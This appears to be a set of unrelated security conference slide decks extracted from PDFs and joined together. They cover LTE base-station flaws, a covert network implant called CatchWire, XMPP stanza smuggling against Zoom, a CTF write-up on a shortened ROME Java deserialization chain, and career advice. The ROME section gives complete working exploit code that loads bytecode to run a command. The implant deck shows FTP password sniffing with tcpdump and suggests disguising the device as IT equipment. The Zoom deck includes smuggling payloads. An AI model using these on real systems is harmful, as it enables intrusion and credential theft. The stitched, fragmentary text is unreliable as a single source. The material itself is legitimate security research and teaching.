detected board type: gpm3blue 0.000:Number of items in the board param list=192 0.000:INFO: system pool cleared from address 0x09400000 to 0x097fffff 0.000:Detected Motorola MPC 85xx, pvr: 0x80210022 0.000:cpu_hal_85xx: init_cpu 0.000:L1CSR0=0, L1CSR1=0 0.000:mm: Using extended addressing for physical addresses. […] 1.3655:Timestamp format tick.usec: (1 tick = 4000 micro seconds) 1.3655:Starting HEAP 1.3960:Starting FSS 1.3979:Starting PTHREADS 1.3981:initPthreads called, not needed from OSE5.5. 1.3994:Starting GZIP volume. 2.0097:Starting RAM PMM 2.0102:PM regions= 200 2.0134:PMM: Magic not found. 2.0139:PMM: Cold start 2.0220:PMM: Restore phase completed 2.0224:Starting PM 2.0245:Starting SHELLD 2.0258:OSE5 core basic services started. 2.2744:rmm_offspring: disconnecting: 0x1001C 2.2761:rmm: disconnecting offspring due to: client killed. 2.2792:core: Starting DEVMAN Ramlog 49 And the BS belongs to…? o Looks like a BaseStation from the US  c/logfiles/alarm_event/ALARM_LOG.xml:1f1;x4;x4;EUtranCellFDD;SubNetwork=ONRM_ ROOT_MO_R,SubNetwork=PHL- ENB,MeContext=PHLe0760889,ManagedElement=1,ENodeBFunction=1,EUtranCellFDD=P HLe07608893;417;135588376835330000;SubNetwork=ONRM_ROOT_MO_R,SubNetwork= PHL-ENB,MeContext=PHLe0760889;356;6;ServiceUnavailable;0;S1 Connection failure for PLMN mcc:311 mnc:660;SubNetwork=ONRM_ROOT_MO_R,SubNetwork=PHL- ENB,MeContext=PHLe0760889_415;;0;2;0;0; 50 Using passwd o We have the users cellouser and rbs o By the way, rbs is not in the passwd file o While checking for use of hardcoded passwords in the management tool, we changed the user for rbs using passwd o Afterwards cellouser’s password was also change to the password 51 SSH o SSH access to the device is enabled o Sadly the only supported key exchange algorithm is disabled by default in current ssh clients o ssh -oKexAlgorithms=+diffie-hellman-group1- sha1 [email protected] 52 Cell & UE Traces o The eNodeB is able to create both traces for cells and UEs o We found a set of traces on the device o Sadly the traces seem to be purely cell traces o Containing data on packet loss etc. o No “interesting” information 53 GIOP Remote Session o The eNodeB ties to establish a TCP session with 5.211.14.4 o When connected it sends a simple GIOP request o Seems to be: Java IDL: Interoperable Naming Service (INS) 54 IP Address: 5.211.14.4 o This is the only public IP address the device talks to o Strangely (reminder of the operator: MetroPCS, USA) the IP address is located in Iran o From the dates we’ve seen the eNodeB was initially provisioned and setup in 2013 o The IP address range was registered in 2012 for an Iranian telco 55 IP Address: 5.211.14.4 o Looks strange? o Well, we can not disprove: o The IP address range might have been shared/let/lent o The operator might have misused public IPs privately o The port seems to be down 56 56 Summary o Signalling: Security based on IPSec, but Attackers might be able to get the keys easily via local access o OAM: Hardcoded passwords, weak management protocols o Physical Access: LMT, no local encryption, debug interfaces 57 www.ernw.de www.insinuator.net Thank you for your Attention! [email protected] [email protected] @hendrks_ @BadgeWizard
pdf
Hacker in the Wires Phil Polstra Bloomsburg University of Pennsylvania @ppolstra http://philpolstra.com What is this talk about? ● A hacking device that lives on a gigabit Ethernet wire ● Device is a CatchWire from WAW Technologies ● Running ● Multiple command & control / exfiltration options – Network on which it is installed – Remote control via IEEE 802.15.4/ZigBee – Cellular network Why should you care? ● CatchWire running Deck Linux is ● Small ● Flexible ● Can be networked to integrate into sophisticated pentests ● Easily installed – Data center: get all the packets – LAN segment: target part of the organization – Inline to single PC: laser focus – Unused desk: bypass all perimeter defenses Who am I? ● Professor at Bloomsburg University teaching digital forensics & information security ● Author: Linux Forensics & HPTWLPD ● Programming from age 8 ● Hacking hardware from age 12 ● Also known to fly, build planes, and do other aviation stuff ● Course author for PentesterAcademy.com and others Roadmap ● Introduction to the CatchWire ● Introduction to The Deck Linux ● Attacks from CatchWire or BeagleBone Black (BBB) ● CatchWire specific attacks ● Future Directions Meet the CatchWire ● Formerly Little Universal Netwwork Appliance (LUNA) ● Like BeagleBone Black (BBB) except: ● Two gigabit Ethernet interfaces ● Power over Ethernet (PoE) ● Integerated FTDI USB to UART ● No HDMI or GPIO headers CatchWire: Block Diagram CatchWire: Hardware CatchWire: Hardware (cont.) ● Base OS ● Built on Ubuntu 14.04 ● Optimized for pentesting with the BBB, CatchWire, and similar ● Use as dropbox or hacking console ● Over 4000 packages pre-installed (fluff free) ● MeshDeck ● Adds remote control via 802.15.4/ZigBee networking ● Allows coordinated attacks with multiple remote drones ● AirDeck ● Combined with the MeshDeck to allow airborne drone or router ● 4Deck ● Forensic add-on that automatically write blocks USB mass storage devices (udev rules-based) ● Udeck (USB-based attacks) ● This is what my other talk (tomorrow) is about Powering the CatchWire ● PoE ● Best choice when available ● Power can be passed through using jumpers ● DC adapter ● USB power ● Can be via a USB charger (2A or greater) ● From PC, but not when Ethernet in use – USB specification limits power to 500 mA for USB 2.0 Initial Configuration ● Obtain image from http://facstaff.bloomu.edu/ppolstra ● Create microSD card using provided script (16 GB+) ● Install microSD card into CatchWire ● Remove screws from microUSB socket side & slide out ● Connect to PC via USB ● Log in as ubuntu/temppwd ● Add/configure software as needed Booting via USB power from PC Selecting a Network Configuration ● Default is to bridge two Ethernet ports ● These can be split cd /boot/uboot/dtbs cp am335x-luna-demac.dtb am335x-luna.dtb Comment out all lines in /etc/udev/rules.d/70-persistent-net.rules ● Going back ● Uncomment lines in 70-persistent-net-rules ● cp am335x-luna-switch.dtb over am335x-luna.dtb Install the MeshDeck? ● MeshDeck allows remote control / exfiltration ● Range up to 2 miles (3.2 km) without gateways/extenders ● Out-of-band communication for most targets ● Easy integration into multi-device pentest ● Star network via IEEE 802.15.4 (Xbee series 1 adapters) ● Mesh network via ZigBee (Xbee series 2 or ZB adapters) ● Requires USB Xbee adapter ● See DC21 talk and/or Hacking & Penetration Testing with Low Power Devices for details ● Permits access to CatchWire when Ethernet blocked Demo: Exploiting an Old Friend Let's Get Sniffing! ● CatchWire is installed inline for a LAN segment ● FTP server is running on a machine in this segment ● Capture all traffic to/from the host and pipe to egrep to get login tcpdump -n host 192.168.1.120 -v -A | egrep '(USER\ )| (PASS\ )' Demo: Sniffing Passwords I Want To Use Wireshark ● You can use WireShark on your workstation to display packets passing through the CatchWire ● Must enable root login first ● In /etc/ssh/sshd_config change “PermitRootLogin without-password“ to “PermitRootLogin yes” ● This can generate a lot of traffic, so you should probably use tcpdump filters! ssh root@catchwire "/usr/sbin/tcpdump -s0 -w - " | wireshark -k -i - Demo: Using CatchWire with WireShark Other Possibilities ● Use MeshDeck to announce CatchWire IP address ● Use MeshDeck to toggle and/or focus sniffing ● Don't just sniff, inject some packets ● Use MeshDeck to communicate cracked passwords to other hacking drones running Deck Linux ● Try some online password cracking with Hydra ● Social engineering ● Add stickers from IT deparment to CatchWire ● Sell it as a network extender or performance booster Questions? ● Demo Labs Saturday 12:00 – 14:00 ● PentesterAcademy booth (??, ask if I'm not there) ● Sign up for a chance to win one of two gift sets which include: – Hacking and Penetration Testing with Low Power Devices – Linux Forensics – CatchWire appliance
pdf
XMPP Stanza Smuggling or How I Hacked Zoom Ivan Fratric, Google Project Zero BlackHat USA 2022 About the speaker Ivan Fratric ● Google Project Zero since 2016 ● Previously: Google Security Team, academia (Uni ZG) ● Publishing security research for >>10 years ● Author: WinAFL, Domato, TinyInst, Jackalope, … ● Twitter: @ifsecure XMPP <?xml version='1.0' ?><stream:stream to='xmpp.zoom.us' xmlns='jabber:client' xmlns:stream='http://etherx.jabber.org/streams' xml:lang='en' version='2.0'> </stream:stream> <message from='[email protected]/ZoomChat_pc' to='[email protected]' id='{B0D067FD-F47A-47DF-9305-4C2B47489F06}' type='chat'><body>test message</body><thread>gloox{F096A899-64D6-4B36-9D65-11BAD59E3D7D}</t hread><active xmlns='http://jabber.org/protocol/chatstates'/><zmext expire_t='1720173136000' t='1657014736331'><from n='Ivan Vctm' res='ZoomChat_pc'/><msg_type>0</msg_type><to/><visible>true</visible ><msg_feature>4</msg_feature></zmext></message> <iq from='[email protected]/ZoomChat_pc' to='[email protected]/ZoomChat_pc' id='{8D2152A9-422E-4510-86A3-F4B510D93AB6}' type='result'/> Stanza Stanza XMPP Sent: <message xmlns='jabber:client' to='[email protected]' id='{...}' type= 'chat' from='[email protected]/ZoomChat_pc'><body>hello</body><thread> gloox{...}</thread><active xmlns='http://jabber.org/protocol/chatstates'/><zmext> <msg_type>0</msg_type><from n='Ivan Attckr' res='ZoomChat_pc'/><to/><visible>true </visible><msg_feature>4</msg_feature></zmext></message> Received: <message from='[email protected]/ZoomChat_pc' to= '[email protected]' id='{...}' type='chat'><body>hello</body> <thread>gloox{...}</thread><active xmlns='http://jabber.org/protocol/chatstates'/> <zmext expire_t='1720185046000' t='1657026646132'><from n='Ivan Attckr' res='ZoomChat_pc'/><msg_type>0</msg_type><to/><visible>true</visible><msg_feature>4 </msg_feature></zmext></message> XMPP Sent: <message xmlns='jabber:client' to='[email protected]' id='{...}' type= 'Chat' from='[email protected]/ZoomChat_pc'> <body>hello<foo>bar</foo></body><thread>gloox{...}</thread><active xmlns='http://jabber.org/protocol/chatstates'/><zmext><msg_type>0</msg_type><from n='Ivan Attckr' res='ZoomChat_pc'/><to/><visible>true</visible><msg_feature> 4</msg_feature></zmext></message> Received: <message from='[email protected]/ZoomChat_pc' to= '[email protected]' id='{...}' type='chat'> <body>hello<foo>bar</foo></body> <thread>gloox{...}</thread><active xmlns='http://jabber.org/protocol/chatstates'/><zmext expire_t='1720185046000' t='1657026646132'><from n='Ivan Attckr' res='ZoomChat_pc'/><msg_type>0</msg_type> <to/><visible>true</visible><msg_feature>4</msg_feature></zmext></message> XMPP Sent: <message xmlns='jabber:client' to='[email protected]' id='{...}' type= 'Chat' from='[email protected]/ZoomChat_pc'> <body>hello<foo>bar</foo></body><thread>gloox{...}</thread><active xmlns='http://jabber.org/protocol/chatstates'/><zmext><msg_type>0</msg_type><from n='Ivan Attckr' res='ZoomChat_pc'/><to/><visible>true</visible><msg_feature> 4</msg_feature></zmext></message> Received: <message from='[email protected]/ZoomChat_pc' to= '[email protected]' id='{...}' type='chat'> <body>hello<foo>bar</foo></body> <thread>gloox{...}</thread><active xmlns='http://jabber.org/protocol/chatstates'/><zmext expire_t='1720185046000' t='1657026646132'><from n='Ivan Attckr' res='ZoomChat_pc'/><msg_type>0</msg_type> <to/><visible>true</visible><msg_feature>4</msg_feature></zmext></message> XMPP ● Allows including custom, user-controlled XML as part of stanzas ● XML code included in this way must be well-formed* *Server will discard XML which it doesn’t consider well-formed XMPP XML pipeline Client Server Client XML Parser XML Serializer XML Parser What is wrong with this picture? Client Server Client XML Parser XML Serializer XML Parser What is wrong with this picture? Client Server Client XML Parser XML Serializer XML Parser a) Custom XML gets sent all the way through the pipeline What is wrong with this picture? Client Server Client XML Parser XML Serializer XML Parser a) Custom XML gets sent all the way through the pipeline b) XML parsers have quirks What is XMPP stanza smuggling? Client Server Client XML Parser XML Serializer XML Parser Client sends custom XML Server sees a single stanza, e.g. <message>...</message> Client sees multiple stanzas, e.g. <message>...</message> <iq>...</iq> Not really a single bug type Client Server Client XML Parser XML Serializer XML Parser Bugs here: 🐞CVE-2022-25235 Bugs here: 🐞CVE-2022-25236 🐞P0-2275 Bugs here: 🐞P0-2284 XMPP XML pipeline (Zoom) Client Server Client XML Parser XML Serializer XML Parser Gloox ejabberd / fast_xml Expat How do I know what Zoom is running on their servers? Source: https://www.builtinsf.com/job/engineer/senior-xmpp-engineer/49922 Example bug #1: UTF-8 encoding ● 1-byte, 2-byte, 3-byte and 4-byte character sequences Image source: https://en.wikipedia.org/wiki/UTF-8 Example bug #1: UTF-8 encoding ● 1-byte, 2-byte, 3-byte and 4-byte character sequences ● E.g. 0xEB = 11101011b is a start of a 3-byte character sequence Image source: https://en.wikipedia.org/wiki/UTF-8 Example bug #1: UTF-8 encoding ● 0xEB 0x3C 0x3E is an invalid sequence (2nd and 3rd byte must have the high bit set) 11101011 00111100 00111110 Image source: https://en.wikipedia.org/wiki/UTF-8 Example bug #1: UTF-8 encoding ● Expat parser: 0xEB 0x3C 0x3E is a single 3-byte character ● Gloox parser: 0xEB 0x3C 0x3D are 3 characters 💣 ● What about ● Expat: I see a single tag "foo ><bar" ● Gloox: I see two tags, "foo " and "bar" Example bug #1: UTF-8 encoding ● Expat parser: 0xEB 0x3C 0x3E is a single 3-byte character ● Gloox parser: 0xEB 0x3C 0x3D are 3 characters 💣 <foo ><bar> <foo ><bar> <foo ><bar> Example bug #1: UTF-8 encoding Full exploit: <aaa /> <? ?/><xml><iq>...</iq></xml> Expat: <aaa /> <? ?/><xml><iq>...</iq></xml> Gloox: <aaa /> <? ?/><xml><iq>...</iq></xml> Abuses the fact that <?xml ?> or <?foo ?><xml> reset Gloox parser state Example bug #2: Expat namespace separator Ejabberd / fast_xml uses Expat like so: state->parser = XML_ParserCreate_MM("UTF-8", &ms, "\n"); XML_SetReturnNSTriplet(state->parser, 1); Ejabberd / fast_xml uses Expat like so: state->parser = XML_ParserCreate_MM("UTF-8", &ms, "\n"); XML_SetReturnNSTriplet(state->parser, 1); Example bug #2: Expat namespace separator What’s this? Example bug #2: Expat namespace separator Example: <tag xmlns=”namespace”> User receives: namespace\ntag With prefixes: <prefix:tag xmlns:prefix=”namespace”> User receives: namespace\ntag\nprefix Example bug #2: Expat namespace separator What if: <foo xmlns=”bar&#x0A;baz”> Result: bar\nbaz\nfoo Example bug #2: Expat namespace separator What if: <foo xmlns=”bar&#x0A;baz”> Result: bar\nbaz\nfoo Namespace Tag name Prefix User has no way of differentiating a triplet from namespace containing a separator Example bug #2: Expat namespace separator What if: <foo xmlns=”bar&#x0A;baz&#x3C;xml&#x3E;”> Result: bar\nbaz<xml>\nfoo Namespace Tag name Prefix Can inject arbitrary characters in tag name. Malformed name gets output when an element is serialized Finding stanza smuggling issues ● Black box testing ● Code review Finding stanza smuggling issues ● Black box testing ● Code review ● Fuzzing How to fuzz this? Client Server Client XML Parser XML Serializer XML Parser How to fuzz this? Client Server Client XML Parser XML Serializer XML Parser Detect parsing errors here Fuzzing harness for the Zoom pipeline void ProcessSample(const char *data, size_t size) { string message(data, size); message = string("<message>") + message + string("</message>"); std::string reparsed; if(!fastxml_reparse(message.data(), message.size(), &reparsed)) return; gloox::TagHandler th; gloox::Parser gloox_parser(&th); int gloox_ret = gloox_parser.feed(reparsed); if(gloox_ret >= 0) { crash[0] = 1; } } Fuzzing ● I used Jackalope (https://github.com/googleprojectzero/Jackalope) ● Coverage feedback is important Fuzzing ● I used Jackalope (https://github.com/googleprojectzero/Jackalope) ● Coverage feedback is important ○ My initial corpus didn’t contain sequences like &#xA; ○ Neither contained property names like xmlns Exploiting stanza smuggling Exploiting stanza smuggling ● Message spoofing Exploiting stanza smuggling ● Message spoofing ● Redirect the connection to another server From XMPP core spec: Exploiting stanza smuggling ● Message spoofing ● Redirect the connection to another server ○ Custom implementations ■ Custom <error> stanza (Zoom) ■ Other custom stanzas, e.g. <redir> (Kik Messenger) Exploiting stanza smuggling ● Message spoofing ● Redirect the connection to another server ● Custom XMPP extensions ○ Zoom defines >50 custom extensions Exploiting stanza smuggling ● Message spoofing ● Redirect the connection to another server ● Custom XMPP extensions ● Otherwise unreachable memory corruption issues ○ From pwn2own 2021 Zoom writeup: “While a client only expects this stanza from the server, it is possible to send it from a different user account.” Source: https://sector7.computest.nl/post/2021-08-zoom/ Exploiting Zoom A custom change in Gloox <stream:error> stanza processing <stream:error><revoke-token reason='1' web-domain='...'></revoke-token></stream:error> Exploiting Zoom A custom change in Gloox <stream:error> stanza processing <stream:error><revoke-token reason='1' web-domain='...'></revoke-token></stream:error> Q: What if we put a domain we control here? Exploiting Zoom A custom change in Gloox <stream:error> stanza processing <stream:error><revoke-token reason='1' web-domain='...'></revoke-token></stream:error> Q: What if we put a domain we control here? A: We get a HTTP POST request for /clusterswitch 🤔 Exploiting Zoom A custom change in Gloox <stream:error> stanza processing <stream:error><revoke-token reason='1' web-domain='...'></revoke-token></stream:error> Q: What if we put a domain we control here? A: We get a HTTP POST request for /clusterswitch 🤔 Let’s proxy it! (mitmproxy in reverse proxy mode) Exploiting Zoom 27 { 1: us04xmpp1.zoom.us 2: us04gateway.zoom.us 3: us04gateway-s.zoom.us 4: us04file.zoom.us 5: us04xmpp1.zoom.us 6: us04xmpp1.zoom.us 7: us05polling.zoom.us 8: us05log.zoom.us 10: us04file-ia.zoom.us 11: us04as.zoom.us 12: us05web.zoom.us … 23: zmail.asynccomm.zoom.us } Exploiting Zoom 27 { 1: us04xmpp1.zoom.us 2: us04gateway.zoom.us 3: us04gateway-s.zoom.us 4: us04file.zoom.us 5: us04xmpp1.zoom.us 6: us04xmpp1.zoom.us 7: us05polling.zoom.us 8: us05log.zoom.us 10: us04file-ia.zoom.us 11: us04as.zoom.us 12: us05web.zoom.us … 23: zmail.asynccomm.zoom.us } Let’s replace this Attacker client Victim client Attacker proxy Zoom servers …<revoke-token>… …<revoke-token>… Attacker client Victim client Attacker proxy Zoom servers …<revoke-token>… …<revoke-token>… /clusterswitch /clusterswitch (web domain replaced) Attacker client Victim client Attacker proxy Zoom servers …<revoke-token>… …<revoke-token>… /clusterswitch /clusterswitch (web domain replaced) /releasenotes /releasenotes (update download URLs replaced) Exploiting Zoom Downloads Downloads Exploiting Zoom 1.Checks signature of 2. Runs 3.Checks hash of 4. Unpacks Exploiting Zoom 1.Checks signature of 2. Runs 3.Checks hash of 3. Unpacks (version 4.4) (signed properly by Zoom) DEMO How to prevent XMPP stanza smuggling issues ● Code review, fuzzing ● Using the same XML parser on the client and the server can prevent some issues, but not all of them ● XML validation (?) Conclusion ● XML parsers in XMPP implementations are an underexplored attack surface ● The design of the XMPP protocol makes it vulnerable to parser quirks ● Potential impact includes disclosing private communication and 0-click RCE ● Fuzzing is a practical way of uncovering not just memory corruption bugs, but also logic bugs in parsers Special thanks ● Sebastian Pipping of Expat ● Zoom security team ● Project Zero team members
pdf
@Y4tacker ROME改造计划 成果 从ysoserial原本的4000+缩短到1320(Base64+弹计算器) 写在前⾯ ⾸先⾮常感谢这次的D^3CTF给我⼀次学习的机会,两个Java题都挺有意思学到了不同的东 西,因为第⼆个⽐较简单就不分享了,这⾥分享⼀下如何去缩短ROME利⽤链,本⾝我也是 之前没学习过ROME,这⾥以⼀个旁观者的视⾓来讲述好累,全篇没有各种⾼级技术不涉及 ASM 的改造,仅仅只是⼀些Trick和利⽤链的精简,同时⾮常感谢我的同学@HolaAs以及我的 朋友@风潇在我做题过程当中给我的帮助 简单分析 ⾸先看看路由,很简单要求传⼊字符长度不超过1956 接下来免不了找依赖后⾯发现了ROME可以⽤,在ysoserial⾥⾯直接⾷⽤,可以惊讶的看到这 ⾥只有短短的4400那么“短”,痛!太痛了! 哎呀怎么办呢?既然要改造免不了需要先看看调⽤链 /** * * TemplatesImpl.getOutputProperties() * NativeMethodAccessorImpl.invoke0(Method, Object, Object[]) * NativeMethodAccessorImpl.invoke(Object, Object[]) * DelegatingMethodAccessorImpl.invoke(Object, Object[]) * Method.invoke(Object, Object...) * ToStringBean.toString(String) * ToStringBean.toString() * ObjectBean.toString() * EqualsBean.beanHashCode() * ObjectBean.hashCode() * HashMap<K,V>.hash(Object) * HashMap<K,V>.readObject(ObjectInputStream) * * */ 既然要改造我的思路是,先精简利⽤链,再减少细节 看到这⾥我能有个想法就是从调⽤readObject到tostring都能尝试类替换,最下层的个⼈感觉似 乎没啥必要了,那直接再往上啰? 简单了解 很明显,既然要尝试去改造⼀条链⼦,那第⼀步就要去深⼊了解他! 这⾥就省去介绍 ObjectBean 、 ToStringBean 等类了百度都有,不做搬运⼯ 先做个简单总结 1. HashMap->readObject 触发 ObjectBean->hashCode 2. 触发ObjectBean 内封装的 ObjectBean -> toString ⽅法,之后就可以触发利⽤链 也简单看看图啰 EqualsBean触发toString 紧接 着 com.sun.syndication.feed.impl.ToStringBean#toString(java.lang.String) 会调⽤所有 getter ⽅法,多提⼀嘴其实 BeanIntrospector.getPropertyDescriptors 会 获取所有getter/setter,但是下⾯有参数长度0那按照正常⼈代码就只剩getter了 因此最终通过触发getOutputProperties实现字节码加载 通常ysoserial更细节,会多很多细节,可能会更短,但不影响,这⾥我们简单按照逻辑写⼀下 代码,加深理解 果然不出我所料更长了! 但这⾥主要是学习思路 改造 失败滴改造尝试 可以很明显的看到在这⾥有个触发toString的过程,那么很容易就能想到之前通过 BadAttributeValueExpException 去触发 toString 这件事,构造完后看看,哦寄了!属 于是帮倒忙第⼀名了,拜拜再见不联系了嘞! 成功滴改造尝试 Step1--改造利⽤链 在之前的过程当中有个地⽅⾮常吸引 我, com.sun.syndication.feed.impl.EqualsBean#equals ⽅法 可以看到 equals 最终调⽤ beanEquals 这不就和 com.sun.syndication.feed.impl.ToStringBean#toString 很像么,但是如何能触发 equals ⽅法呢 借⽤p⽜的⼀句话,但是jdk7u21的场景不适合我们这⾥,原因请看p⽜知识星球(打波⼴告p⽜ 看到请给钱) 调⽤equals的场景就是集合set。set中储存的对象不允许重复,所以在添加对象的时候, 势必会涉及到⽐较操作 但是这个很明显并不适合我们这个场景(两个相同对象hashCode都⼀样了就不可能成功了, 不多说⾃⼰想) 那还有啥利⽤么,当然有的,⽐如HashMap对key也有这个神奇的机制, 为了解决这个问题,我们抽丝剥茧慢慢来啰,下⾯的只是对后⾯做铺垫 先来个简单的场景,⾸先看下⾯这个代码 会觉得他们相同吗,答案很显然 为什么呢,可以看到,由于我们value为空其实就是⽐较key的hashCode了 对于⼀个String类型其hashCode,考虑两个元素的场景也就 是 31*val[0]+val[1]=31val[0]+val[1] ,因此第⼀个元素如果⽐第⼆个元素⼩1,第⼆ 个元素就必须⽐第⼀个元素⼤31 HashMap<Object, Object> objectObjectHashMap = new HashMap<>(); HashMap<Object, Object> objectObjectHashMap1 = new HashMap<>(); objectObjectHashMap.put("aa",""); objectObjectHashMap1.put("bB",""); System.out.println(objectObjectHashMap.hashCode()); System.out.println(objectObjectHashMap1.hashCode()); public final int hashCode() { return Objects.hashCode(key) ^ Objects.hashCode(value); } 现在场景提升 仍然相等,对于这个场景⾥⾯有两个元素,它会调⽤⽗类的 java.util.AbstractMap#hashCode 为了简化理解可以把上⾯的场景代码简化为(毕竟 aa 与 bB 相等),这样看是不是就很好理解 了 objectObjectHashMap.put("aa","1"); objectObjectHashMap.put("bB","2"); objectObjectHashMap1.put("aa","2"); objectObjectHashMap1.put("bB","1"); public int hashCode() { int h = 0; Iterator<Entry<K,V>> i = entrySet().iterator(); while (i.hasNext()) h += i.next().hashCode(); return h; } 有了这个基础,再次回到我们构造ROME的过程当中 现在我们已经知道了 java.util.HashMap#putVal 在key的hashCode⼀致的时候会触发 equals⽅法调⽤,但是此刻我们的代码的key是String类型调⽤了也没⽤啊,这⾥很巧的是在 HashMap的equals⽅法当中,当对象⼤于1时会转⽽调⽤⽗ 类 java.util.AbstractMap#equals ,可以很明显看到这⾥调⽤了 value.equals ,同时这 ⾥我们需要将 equals 的传参数改为 TemplatesImpl 对象 那如何搞定呢,那就是把两个map的value颠倒⼀下具体为什么⾃⼰想想很简单 ("aa"=>bean.quals("aa"=>templates))这⾥ => 表⽰对应 objectObjectHashMap.put("aa","1"); objectObjectHashMap.put("aa","2"); objectObjectHashMap1.put("aa","2"); objectObjectHashMap1.put("aa","1"); 因此安这个思路我们可以得到 痛!太痛了!不过还是缩了⼀千多了? 仔细⼀想罪魁祸⾸就是 Gadgets.createTemplatesImpl(command); Step2--超级⼩Trick map1.put("aa",templates); map1.put("bB",bean); map2.put("aa",bean); map2.put("bB",templates); 那我们来看看这个ysoserial⽣成的类是啥样⼦ 这⾥很多东西我们都可以改,啥 serialVersionUID 、 Pwner311912468728708 、等等这 些都可以拿下 但是你以为这样就ok了,给⼤家看个骚的 没有 trycatch ,没有实现抽象类的⽅法,这怎么实现的!!! 我们平时javac编译的时候,同样的代码都会报错 那上⾯这个咋搞的嘞,⽽且不报错,那就是javassist啰,不⽤ASM去操作好极了 现在再看看长度嘞, 1324 ⼩草莓坏笑 测试下嘞ok计算器来了,记得url编码⼀下哦! 最终代码 Rome.java import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl; import com.sun.syndication.feed.impl.EqualsBean; import javax.xml.transform.Templates; import java.io.ByteArrayOutputStream; import java.io.ObjectOutputStream; import java.util.Base64; import java.util.HashMap; import static sec.payload.Payload.setFieldValue; public class Rome { public static void main(String[] args) throws Exception { TemplatesImpl templates = GetTemplatesImpl.getTemplatesImpl(); GetTemplatesImpl.java EqualsBean bean = new EqualsBean(String.class,""); HashMap map1 = new HashMap(); HashMap map2 = new HashMap(); map1.put("aa",templates); map1.put("bB",bean); map2.put("aa",bean); map2.put("bB",templates); HashMap map = new HashMap(); map.put(map1,""); map.put(map2,""); setFieldValue(bean,"_beanClass",Templates.class); setFieldValue(bean,"_obj",templates); ByteArrayOutputStream byteArrayOutputStream = new ByteArrayOutputStream(); ObjectOutputStream objectOutputStream = new ObjectOutputStream(byteArrayOutputStream); objectOutputStream.writeObject(map); System.out.println(new String(Base64.getEncoder().encode(byteArrayOutputStream.toByteArray()))); System.out.println(new String(Base64.getEncoder().encode(byteArrayOutputStream.toByteArray())).le ngth()); } } import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl; import java.lang.reflect.Field; public class GetTemplatesImpl { public static TemplatesImpl getTemplatesImpl() throws Exception{ GenerateEvilByJavaassist.java byte[][] bytes = new byte[][] {GenerateEvilByJavaassist.generate()}; TemplatesImpl templates = TemplatesImpl.class.newInstance(); setValue(templates, "_bytecodes", bytes); setValue(templates, "_name", "1"); setValue(templates, "_tfactory", null); return templates; } public static void setValue(Object obj, String name, Object value) throws Exception{ Field field = obj.getClass().getDeclaredField(name); field.setAccessible(true); field.set(obj, value); } } import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet; import javassist.ClassPool; import javassist.CtClass; import javassist.CtConstructor; public class GenerateEvilByJavaassist { public static byte[] generate() throws Exception{ ClassPool pool = ClassPool.getDefault(); CtClass clazz = pool.makeClass("a"); CtClass superClass = pool.get(AbstractTranslet.class.getName()); clazz.setSuperclass(superClass); CtConstructor constructor = new CtConstructor(new CtClass[]{}, clazz); constructor.setBody("Runtime.getRuntime().exec(\"open -na Calculator\");"); clazz.addConstructor(constructor); return clazz.toBytecode(); } }
pdf
Career Mythbusters Separating Fact from Fiction in your Security Career Lee Kushner / Mike Murray [email protected] / [email protected] 2 Who Are We? • Lee Kushner – Over 10 years of Success Recruitment of Information Security Professionals – Founder and CEO of the Leading Information Security Recruitment Firm, LJ Kushner and Associates LLC – Wide Range of Nationally Based Clients from Fortune 500s to security product vendors • Mike Murray – Security professional with a decade of diverse experience. – Security blogger (Episteme.ca) specializing in talking about security careers, author of the book “Forget the Parachute, Let Me Fly the Plane” – Has managed security teams and helps people working with him develop the career that they really want to have. • We bring very different perspectives on Careers 3 We’re Doing a Survey! • More data required – Through our roles, we gather a lot of anecdotal evidence, but we can’t ever have enough hard data. • We want to give you something back. – Fill it out anonymously if you want, or provide an email address and we’ll send you the survey and our analysis when we’re done. – We’ll take the data, slice and dice it, and give you more real information about careers in infosec. – We’ll also give you Mike’s e-book on careers to help you know more about finding a job, personal branding tools, etc. • Fill it out: http://www.infosecleaders.com/survey 4 The Big Ones (Myths, that is...) • Job Hunting – Cover Letters Matter. – Resumes aren’t that important. – The hiring manager should hear of you from your resume. – Interviews are for the company’s benefit. – Interviews are about your qualifications. • Managing your Job – Money is the most important benefit. – You will get a raise because you should. – Job title is one of the most important considerations. • Career Path – You should expect to stick with a single company. – Your company will help you figure out your career. – You don’t need to plan your career. – You should definitely plan to move in to management. – What you know is enough. 5 Job Hunting... 6 Myth: Cover Letters Matter 7 Reality: Cover Letters are Junk Mail. 8 Myth: Resumes aren’t THAT important. If you’re really good, your skills will speak for themselves. 9 Reality: Resumes are the paper version of you. 10 Myth: The hiring manager should hear about you from your resume. 11 Reality: The resume should expand on what the hiring manager already knows. 12 Myth: Interviews are for the company’s benefit. 13 Reality: Interviews are about finding a good match. 14 Myth: Interviews are about your qualifications. 15 Reality: Interviews are about who you are. 16 Managing your Job... 17 Myth: The more money, the better. Always aim for as much as you can get. 18 Reality: The amount of money speaks to value on both sides of the table. 19 Myth: You will get a raise because you deserve it. 20 Reality: Your raise requires two things: your effectiveness and your boss’s awareness. 21 Myth: Job title should be a big consideration. 22 Reality: You already have the most important title: CEO of {Your name he re }, Inc. 23 Managing Your Career Path 24 Myth: You should expect to stay with a company for the long term. 25 Reality: Changing companies is often required as you manage your own career path. 26 Myth: You should expect your company to help you manage your career. 27 Reality: Your career management is entirely up to you. 28 Myth: Your career will be a natural, organic progression from one job to another. 29 Reality: The people who succeed plan to do so. 30 Myth: As you grow, you need to move in to management. 31 Reality: Your growth should reflect your strengths, skills and goals. 32 Myth: What you know today is enough. 33 Reality: Security moves fast. If you don’t grow, you die. Quickly. 34 34 We’re Doing a Survey! • More data required – Through our roles, we gather a lot of anecdotal evidence, but we can’t ever have enough hard data. • We want to give you something back. – Fill it out anonymously if you want, or provide an email address and we’ll send you the survey and our analysis when we’re done. – We’ll take the data, slice and dice it, and give you more real information about careers in infosec. – We’ll also give you Mike’s e-book on careers to help you know more about finding a job, personal branding tools, etc. • Fill it out: http://www.infosecleaders.com/survey • You can always either of us with questions: – Lee Kushner: [email protected] – Mike Murray: [email protected]
pdf
http://en.wikipedia.org/wiki/Cellular_frequencies Your Weapons and Targets! This will be updated onsite!!!
pdf
